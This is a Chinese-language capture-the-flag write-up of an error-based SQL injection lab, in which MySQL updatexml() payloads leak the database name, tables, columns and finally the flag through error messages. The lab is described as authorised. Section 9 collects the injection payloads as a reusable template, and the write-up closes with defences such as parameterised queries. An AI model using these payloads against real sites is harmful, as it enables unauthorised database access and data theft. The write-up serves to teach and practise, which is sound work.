SQL注入:报错注入(无防护)靶场通关记录
靶场地址:白帽江湖 SQL注入:报错注入(无防护)
说明:本文仅记录在该授权靶场中的测试过程,用于学习报错型 SQL 注入的基本思路。
1. 页面初探
1.1 打开靶场后,页面标题是"星耀资讯 - 企业内部新闻平台",内容区展示了几篇文章列表:
- 年度优秀员工评选
- 服务器迁移计划
- 新员工入职培训通知
- Q1季度安全审计报告
- 公司2026年度战略规划发布
1.2 按下F12打开调试,查看页面元素
发现点击文章链接之后需要执行:onclick="loadArticle(5)",因此猜测 loadArticle 为关键函数,5 为文章id

接下来从网页源代码中查找 loadArticle ,最终从页面脚本中得到相关函数:

loadArticle 函数全文如下:
javascript
async function loadArticle(id) {
document.getElementById('errorBox').style.display='none';
document.getElementById('detailArea').style.display='none';
try {
var r = await fetch('query.php?id='+encodeURIComponent(id));
var d = await r.json();
if (d.code !== 0) {
document.getElementById('errorBox').textContent = d.msg;
document.getElementById('errorBox').style.display = '';
return;
}
var a = d.data;
document.getElementById('detailTitle').textContent = a.title;
document.getElementById('detailMeta').innerHTML = '作者:'+a.author+' · 分类:'+a.category+' · 浏览:'+a.views+' · '+a.created_at;
document.getElementById('detailContent').textContent = a.content;
document.getElementById('detailArea').style.display = '';
} catch(e) { alert('请求异常'); }
}
从代码中检索和 querry 、 ? 、 id 相关的内容可以看出,点击文章时会调用:
javascript
fetch('query.php?id=' + encodeURIComponent(id))
这意味着真正的数据接口在 query.php,参数是 id。
2. 找到注入点
先直接访问接口:
text
https://range.baimaojianghu.com/lab/32001/query.php?id=1
返回结果:
json
{
"code": 0,
"data": {
"id": 1,
"title": "公司2026年度战略规划发布",
"content": "经过董事会审议,公司2026年度战略规划正式发布,重点布局AI和云计算领域...",
"author": "张伟",
"category": "公司新闻",
"views": 1253,
"created_at": "2026-03-01"
}
}
接着测试单引号:
text
https://range.baimaojianghu.com/lab/32001/query.php?id=1'
页面直接回显数据库错误:
text
Database Error: SQLSTATE[42000]: Syntax error or access violation: 1064 ... near ''' at line 1
这说明:
- 参数
id存在 SQL 注入点 - 后端没有做有效防护
- 错误信息直接回显,适合使用报错注入
3. 确认报错注入方式
报错注入常见手法之一是利用 MySQL 的 updatexml() 或 extractvalue() 触发 XPath 错误,把我们想看的数据拼进错误信息里。updatexml() 和 extractvalue() 本来都是 MySQL 的 XML 处理函数 ,后来因为它们会把 XPath 解析错误直接暴露出来,因此经常被拿来做 报错型 SQL 注入。关于这两个函数的详细解释请自行查阅相关文档。
先试探数据库名:
text
https://range.baimaojianghu.com/lab/32001/query.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
返回:
text
Database Error: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~vuln_db~'
这一步说明:
- 当前数据库名是
vuln_db updatexml()注入成功- 错误注入通路已经打通
4. 枚举表名
下一步从 information_schema.tables 里取表名:
text
https://range.baimaojianghu.com/lab/32001/query.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
返回:
text
Database Error: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~secret_flags,articles~'
可以看到当前库里至少有两张表:
secret_flagsarticles
5. 枚举目标表字段
根据靶场名和结果判断,secret_flags 很可能就是最终目标表。继续查看字段名:
text
https://range.baimaojianghu.com/lab/32001/query.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_flags'),0x7e),1)
返回:
text
Database Error: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~id,flag_name,flag_value~'
字段为:
idflag_nameflag_value
6. 直接取出 flag
最后把字段内容拼接出来:
text
https://range.baimaojianghu.com/lab/32001/query.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(flag_name,0x3a,flag_value) from secret_flags),0x7e),1)
返回:
text
Database Error: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~flag:flag{err0r_b4s3d_ez_m0de}~'
最终 flag:
text
flag{err0r_b4s3d_ez_m0de}
7. 复盘
这个靶场的核心链路很清晰:
- 先找到接口参数
id - 用单引号测试,确认存在 SQL 语法报错
- 用
updatexml()触发数据库异常 - 利用
concat()把数据库信息拼到错误信息中 - 逐步枚举数据库名、表名、字段名
- 最后取出 flag
这类题目的关键点在于:
- 页面上看起来只是"查文章详情"
- 实际上后端把参数直接拼进了 SQL
- 错误信息又被原样返回给前端
- 于是"错误"本身成了信息泄露通道
8. 这个靶场最值得记住的地方
报错注入的本质很简单:
让数据库在报错时,把你想知道的数据吐出来。
在真实业务里,防护一般要做这些:
- 使用参数化查询,避免拼接 SQL
- 关闭数据库错误的前端回显
- 对输入做严格校验
- 给数据库账号最小权限
- 记录并告警异常查询行为
9. 可直接复用的测试 payload
下面这些是本题里实际用到的思路,可以作为报错注入练习模板:
测试语法错误
text
?id=1'
触发 XPath 报错并回显数据库名
text
?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
枚举表名
text
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
枚举字段名
text
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_flags'),0x7e),1)
获取 flag
text
?id=1 and updatexml(1,concat(0x7e,(select group_concat(flag_name,0x3a,flag_value) from secret_flags),0x7e),1)